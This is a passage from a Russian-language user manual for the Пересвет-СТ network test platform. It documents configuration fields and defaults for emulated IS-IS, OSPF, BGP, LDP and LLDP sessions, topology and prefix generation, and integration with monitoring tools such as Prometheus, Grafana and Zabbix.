| Поле | Описание |
|---|---|
| Auth type | Тип аутентификации: none, simple (текстовый пароль) или md5 |
| Auth key | Ключ аутентификации |
| Auth hello | Включить аутентификацию в Hello-пакетах |
| Auth CSNP | Включить аутентификацию в CSNP-пакетах |
| Auth PSNP | Включить аутентификацию в PSNP-пакетах |
Segment Routing IS-IS
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| SR Algorithm | Алгоритм Segment Routing | 0 |
| SRGB Base | Начальное значение диапазона глобальных блоков SR | 0 |
| SRGB Range | Размер диапазона SRGB | 0 |
| Node SID | Node SID для данного экземпляра IS-IS | 0 |
| Adjacency SID Base | Базовое значение для генерации Adjacency SID | 0 (отключено) |
Генерация топологии IS-IS
Пересвет-СТ позволяет автоматически сгенерировать эмулированную топологию IS-IS. Это позволяет быстро создать сеть из заданного количества виртуальных узлов без ручной конфигурации каждого из них.
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| Включить генерацию | Включение автоматической генерации топологии | Выкл. |
| Тип топологии | Тип генерируемой топологии: Ring, и др. | Ring |
| Количество узлов | Число генерируемых виртуальных узлов | 10 |
| Area ID | Идентификатор зоны IS-IS | 49.0001/24 |
| System ID Start | Начальный System ID для генерируемых узлов | 1337.0000.0001 |
| Loopback Start | Начальный адрес loopback-интерфейса | 10.0.0.1 |
| Level | Уровень IS-IS для генерируемой топологии | L2 |
| Метрика | Метрика IS-IS для межузловых связей | 10 |
| Prefix Start | Начальный префикс для анонсирования | 10.100.0.0/24 |
| Prefix Count | Количество префиксов на узел | 1 |
| Prefix Metric | Метрика для анонсируемых префиксов | 0 |
| Branch Factor | Коэффициент ветвления (для топологий типа дерево) | 2 |
| IPv6 | Включение поддержки IPv6 в генерируемой топологии | Выкл. |
| SRGB Base | Начало диапазона SRGB для генерируемой топологии | 1000 |
| SRGB Range | Размер диапазона SRGB для генерируемой топологии | 100 |
Для запуска генерации топологии нажмите кнопку «Сгенерировать».
OSPFv2
OSPFv2 (Open Shortest Path First version 2) — протокол маршрутизации для IPv4, широко используемый в корпоративных и операторских сетях. Пересвет-СТ эмулирует OSPFv2-узел с поддержкой Segment Routing и генерацией топологии.
Основные настройки OSPFv2
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| Включить OSPFv2 | Включение/выключение протокола OSPFv2 | Выкл. |
| Version | Версия OSPF (фиксировано) | 2 |
| Router ID | Идентификатор OSPF-маршрутизатора, например 10.10.10.2 | — |
| Area | Идентификатор зоны OSPF | 0.0.0.0 |
| Hostname | Имя хоста маршрутизатора | — |
Таймеры OSPFv2
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| Hello interval (s) | Интервал Hello-пакетов, в секундах | 10 |
| Dead interval (s) | Интервал объявления соседа недоступным, в секундах | 40 |
| LSA retry interval | Интервал повторной отправки LSA, в секундах | 0 |
| Router priority | Приоритет маршрутизатора при выборе DR/BDR | 0 |
| Teardown time (s) | Время завершения сессии, в секундах | 0 |
Аутентификация OSPFv2
| Поле | Описание |
|---|---|
| Auth type | Тип аутентификации: none, simple или md5 |
| Auth key | Ключ аутентификации |
Segment Routing OSPFv2
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| SRGB Base | Начало глобального блока SR | 0 |
| SRGB Range | Размер диапазона SRGB | 0 |
| Node SID | Node SID для данного экземпляра OSPF | 0 |
Генерация топологии OSPFv2
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| Включить генерацию | Включение автоматической генерации OSPFv2-топологии | Выкл. |
| Тип топологии | Тип генерируемой топологии: Ring, и др. | Ring |
| Количество узлов | Число генерируемых виртуальных OSPF-узлов | 10 |
| Area ID | Идентификатор зоны OSPF | 0.0.0.0 |
| Loopback Start | Начальный адрес loopback-интерфейса | 10.0.0.1 |
| Link Subnet Start | Начальная подсеть для межузловых линков | 172.16.0.0/31 |
| Метрика | Метрика OSPF для межузловых линков | 10 |
| Prefix Count | Количество префиксов на узел | 1 |
| Branch Factor | Коэффициент ветвления | 2 |
| SRGB Base | Начало диапазона SRGB | 1000 |
| SRGB Range | Размер диапазона SRGB | 100 |
Для запуска генерации топологии нажмите кнопку «Сгенерировать».
OSPFv3
OSPFv3 — версия протокола OSPF с поддержкой IPv6. Интерфейс настройки аналогичен OSPFv2 и содержит те же секции: основные настройки, таймеры, аутентификация, Segment Routing и генерация топологии.
Основные настройки OSPFv3
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| Включить OSPFv3 | Включение/выключение протокола OSPFv3 | Выкл. |
| Version | Версия OSPF (фиксировано) | 3 |
| Router ID | Идентификатор OSPF-маршрутизатора | — |
| Area | Идентификатор зоны OSPF | 0.0.0.0 |
| Hostname | Имя хоста маршрутизатора | — |
Таймеры OSPFv3
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| Hello interval (s) | Интервал Hello-пакетов, в секундах | 10 |
| Dead interval (s) | Интервал объявления соседа недоступным, в секундах | 40 |
| LSA retry interval | Интервал повторной отправки LSA, в секундах | 0 |
| Router priority | Приоритет маршрутизатора | 0 |
| Teardown time (s) | Время завершения сессии, в секундах | 0 |
Аутентификация OSPFv3
| Поле | Описание |
|---|---|
| Auth type | Тип аутентификации: none, simple или md5 |
| Auth key | Ключ аутентификации |
Segment Routing OSPFv3
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| SRGB Base | Начало глобального блока SR | 0 |
| SRGB Range | Размер диапазона SRGB | 0 |
| Node SID | Node SID | 0 |
Генерация топологии OSPFv3
Параметры генерации топологии для OSPFv3 аналогичны OSPFv2. Дополнительно доступны поля Link Subnet Start, Prefix Count, Branch Factor, SRGB Base, SRGB Range. Для запуска нажмите кнопку «Сгенерировать».
BGP
BGP (Border Gateway Protocol) — стандартный протокол внешней маршрутизации для обмена маршрутной информацией между автономными системами. В Пересвет-СТ реализован механизм эмуляции BGP-сессий с поддержкой массовой генерации префиксов (BGP Updates).
Создание и управление BGP-сессиями
Для добавления новой BGP-сессии нажмите кнопку «+ Создать BGP сессию». Каждая сессия отображается как отдельная вкладка (Сессия #1, Сессия #2 и т.д.) и может быть удалена кнопкой «×».
Настройки BGP-сессии
Семейства адресов (Address Families)
В рамках каждой BGP-сессии задаётся набор поддерживаемых семейств адресов, передаваемых в OPEN-сообщении:
| Семейство | Описание |
|---|---|
| ipv4-unicast | IPv4 одноадресная маршрутизация |
| ipv6-unicast | IPv6 одноадресная маршрутизация |
| ipv4-multicast | IPv4 многоадресная маршрутизация |
| ipv6-multicast | IPv6 многоадресная маршрутизация |
| ipv4-labeled-unicast | IPv4 с метками (MPLS) |
| ipv6-labeled-unicast | IPv6 с метками (MPLS) |
| ipv4-vpn-unicast | IPv4 VPN |
| ipv6-vpn-unicast | IPv6 VPN |
| evpn | Ethernet VPN (EVPN) |
Таймеры BGP-сессии
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| Hold time (s) | Hold time в секундах | 90 |
| TTL | TTL для BGP-пакетов | 64 |
| ToS | IP ToS (DSCP) для BGP-пакетов | 0 |
| Reconnect | Автоматическое переподключение сессии | Вкл. |
| Teardown time (s) | Время завершения сессии, в секундах | 0 |
BGP Updates (генерация префиксов)
Раздел «BGP Updates» позволяет настроить автоматическую генерацию и анонсирование большого количества BGP-префиксов. Каждый блок Update (#1, #2 и т.д.) задаёт один пакет обновлений. Для добавления нового блока используйте кнопку «+ Добавить update».
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| ASN | Номер автономной системы источника | 0 |
| Next-hop base | Базовый адрес next-hop для анонсируемых маршрутов | — |
| Next-hop count | Количество next-hop адресов | 1 |
| Local pref | Значение Local Preference | 0 |
| Label base | Базовая метка MPLS | 0 |
| End-of-RIB | Отправка маркера End-of-RIB после передачи всех обновлений | Выкл. |
| Базовый префикс | Начальный префикс для генерации, например 10.0.0.0/24 | — |
| Количество | Число генерируемых префиксов | 10 |
После заполнения параметров нажмите кнопку «Сгенерировать» — список сгенерированных префиксов отобразится в поле Prefixes (one per line).
LDP
LDP (Label Distribution Protocol) — протокол распределения меток MPLS. Два устройства с установленной LDP-сессией называются LDP-пирами и обмениваются метками двунаправленно. LDP используется для построения и поддержки баз данных LSP, обеспечивающих пересылку трафика в MPLS-сетях.
Обнаружение LDP выполняется по UDP-порту 646; сессия устанавливается по TCP-порту 646. В фазе обнаружения Hello-пакеты рассылаются на групповой адрес 224.0.0.2.
Основные настройки LDP
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| Включить LDP | Включение/выключение протокола LDP | Выкл. |
| LSR ID | Идентификатор LSR-маршрутизатора, например 10.10.10.2 | 10.10.10.10 |
| Hostname | Имя хоста | bngblaster |
| IPv4 transport address | Адрес транспортного интерфейса IPv4 | (равен LSR ID) |
| IPv6 transport address | Адрес транспортного интерфейса IPv6 | — |
| No IPv4 transport | Отключить IPv4 LDP Hello-сообщения | Выкл. |
| Prefer IPv4 transport | Предпочитать IPv4-транспорт при наличии IPv6 | Выкл. |
Таймеры LDP
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| Keepalive time (s) | Таймаут keepalive LDP-сессии, в секундах | 0 |
| Hold time (s) | Hold time для LDP Hello, в секундах | 0 |
| Teardown time (s) | Время завершения сессии, в секундах | 0 |
Источник префиксов (из IGP)
LDP может автоматически получать префиксы из IGP (протокола внутренней маршрутизации) для построения MPLS LSP.
| Поле | Описание | Значение |
|---|---|---|
| Enable prefix source | Включить получение префиксов из IGP | Вкл. |
| Protocol | Протокол-источник: ISIS или OSPF | ISIS |
| Mode | Режим выбора префиксов: loopbacks (только loopback-адреса) или all | loopbacks |
| Label base | Базовое значение метки для назначения | 16000 |
LLDP
LLDP (Link Layer Discovery Protocol) — протокол канального уровня, описанный в стандарте IEEE 802.1AB. Используется для обмена информацией о сетевых устройствах между непосредственно подключёнными соседями. Пересвет-СТ эмулирует LLDP-агент, который периодически отправляет LLDP-кадры (LLDPDU) на стандартный групповой MAC-адрес 01:80:c2:00:00:0e, позволяя тестируемому оборудованию обнаруживать эмулированное устройство, его идентификаторы и характеристики.
Основные настройки LLDP
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| Включить LLDP | Включение/выключение протокола LLDP | Выкл. |
| Chassis ID подтип | Способ идентификации шасси устройства: MAC address, Network address, Interface name, Locally assigned | MAC address |
| Chassis ID | Идентификатор шасси. При подтипе «MAC address» — MAC-адрес интерфейса; при подтипе «Locally assigned» — произвольная строка | (MAC-адрес интерфейса) |
| Port ID подтип | Способ идентификации порта: MAC address, Interface name, Locally assigned | MAC address |
| Port ID | Идентификатор порта. При подтипе «MAC address» — MAC-адрес интерфейса; при подтипе «Interface name» — имя интерфейса | (MAC-адрес интерфейса) |
| System Name | Имя системы, передаваемое в TLV System Name | — |
| System Description | Описание системы, передаваемое в TLV System Description | — |
| Port Description | Описание порта, передаваемое в TLV Port Description | — |
Таймеры LLDP
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| TX Interval (s) | Интервал между отправкой LLDP-кадров, в секундах | 30 |
| TX Hold Multiplier | Множитель, определяющий TTL LLDP-кадра по формуле: TTL = TX Interval × TX Hold Multiplier | 4 |
| TTL (s) | Время жизни LLDP-информации на принимающей стороне (вычисляется автоматически из TX Interval и TX Hold Multiplier). По истечении TTL сосед считается недоступным | 120 |
Возможности системы (System Capabilities)
Раздел позволяет указать, какие функциональные возможности заявляет эмулируемое устройство в TLV System Capabilities.
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| Supported Capabilities | Список поддерживаемых возможностей устройства: Other, Repeater, Bridge, WLAN Access Point, Router, Telephone, DOCSIS Cable Device, Station Only | Router |
| Enabled Capabilities | Список активных возможностей устройства (подмножество поддерживаемых) | Router |
Management Address
Настройка адреса управления, передаваемого в TLV Management Address. Позволяет тестируемому устройству определить IP-адрес для управления эмулированным соседом.
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| Management Address | IP-адрес управления, например 10.10.10.2 | (IP-адрес интерфейса) |
| Address Subtype | Тип адреса управления: IPv4, IPv6 | IPv4 |
| Interface Subtype | Тип интерфейса: ifIndex, System port number | ifIndex |
| Interface Number | Числовой идентификатор интерфейса | 0 |
BFD
BFD (Bidirectional Forwarding Detection) настраивается в разделе Control Plane страницы задачи. Протокол обеспечивает быстрое обнаружение отказов на канальном уровне между соседними устройствами и может использоваться совместно с протоколами маршрутизации (BGP, OSPF, IS-IS) для ускорения переключения на резервные маршруты.
L2TP
L2TP (Layer 2 Tunneling Protocol) настраивается в разделе Data Plane страницы задачи. Позволяет генерировать и обрабатывать трафик внутри L2TP-туннелей, что даёт возможность тестировать оборудование и сервисы, использующие L2TP для организации VPN-соединений.
Интеграция с внешними системами мониторинга
Пересвет-СТ поддерживает интеграцию с распространёнными системами мониторинга, что позволяет встроить платформу в существующую инфраструктуру наблюдения и оперативно отслеживать ход тестирования.
SNMP
SNMP-агент устанавливается на машину с агентом Пересвет-СТ в соответствии с официальной инструкцией по установке Net-SNMP. После установки внешние системы управления сетью (NMS) смогут опрашивать состояние агента, получая информацию о текущей нагрузке, статусе задач и доступности компонентов.
Syslog
Syslog настраивается на ОС агента Пересвет-СТ средствами системного логирования (rsyslog, syslog-ng) в соответствии с документацией используемого дистрибутива. После настройки пересылки на внешний syslog-сервер все события и диагностические сообщения агента будут централизованно собираться в единое хранилище для анализа и аудита.
Prometheus
Prometheus может быть установлен на любую ОС, на которой работает агент Пересвет-СТ, в соответствии с официальной инструкцией по установке. После установки Prometheus будет собирать метрики работы агента и ядра генерации трафика, которые можно использовать для построения алертов и дашбордов.
Grafana
Пересвет-СТ поставляется с набором готовых дашбордов Grafana, интегрированных в веб-интерфейс контроллера в разделе «Метрики». Эти дашборды можно изменять под свои нужды, а также создавать новые — используя SQL-запросы к ClickHouse на основе уже существующих запросов из наших дашбордов как примера.
Zabbix
Zabbix-агент устанавливается на машину с агентом Пересвет-СТ в соответствии с официальной инструкцией по установке. После установки агент Zabbix начинает работать и передавать данные о состоянии системы на сервер Zabbix, обеспечивая мониторинг в рамках корпоративной инфраструктуры.
Перечень принятых сокращений
| HTTP/HTTPS | Протокол прикладного уровня передачи данных |
|---|---|
| IP-адрес | Уникальный адрес, идентифицирующий устройство в интернете или локальной сети |
| SSL | Криптографический протокол |
| ВМ | Виртуальная машина |
| TCP | Протоколом транспортного уровня |
| СУБД | Система управления базой данных |
| ПО | Программное обеспечение |
| BGP | Border Gateway Protocol — протокол граничного шлюза |
| IS-IS | Intermediate System to Intermediate System — протокол маршрутизации |
| OSPF | Open Shortest Path First — протокол динамической маршрутизации |
| LDP | Label Distribution Protocol — протокол распределения меток |
| LLDP | Link Layer Discovery Protocol — протокол обнаружения канального уровня |
| LLDPDU | LLDP Data Unit — блок данных протокола LLDP |
| TLV | Type-Length-Value — формат кодирования данных (тип-длина-значение) |
| MPLS | Multiprotocol Label Switching — многопротокольная коммутация по меткам |
| LSP | Label Switched Path — путь с коммутацией по меткам |
| LSR | Label Switching Router — маршрутизатор с коммутацией по меткам |
| SR | Segment Routing — сегментная маршрутизация |
| SRGB | Segment Routing Global Block — глобальный блок меток SR |
| SID | Segment Identifier — идентификатор сегмента |
| DR | Designated Router — выделенный маршрутизатор (OSPF) |
| BDR | Backup Designated Router — резервный выделенный маршрутизатор (OSPF) |
| LSA | Link State Advertisement — объявление о состоянии канала (OSPF) |
| LSP | Link State PDU — протокольный блок данных о состоянии канала (IS-IS) |
| CSNP | Complete Sequence Number PDU — полный PDU с порядковыми номерами (IS-IS) |
| PSNP | Partial Sequence Number PDU — частичный PDU с порядковыми номерами (IS-IS) |
| AS | Autonomous System — автономная система |
| EVPN | Ethernet Virtual Private Network — виртуальная частная сеть Ethernet |
| VxLAN | Virtual Extensible LAN — виртуальная расширяемая локальная сеть |
| VTEP | VxLAN Tunnel Endpoint — конечная точка VxLAN-туннеля |
| VNI | VxLAN Network Identifier — идентификатор виртуальной сети VxLAN |
| ECMP | Equal-Cost Multi-Path — маршрутизация по нескольким равноценным путям |
| MRT | Multi-threaded Routing Toolkit — формат файлов для хранения топологии маршрутизации |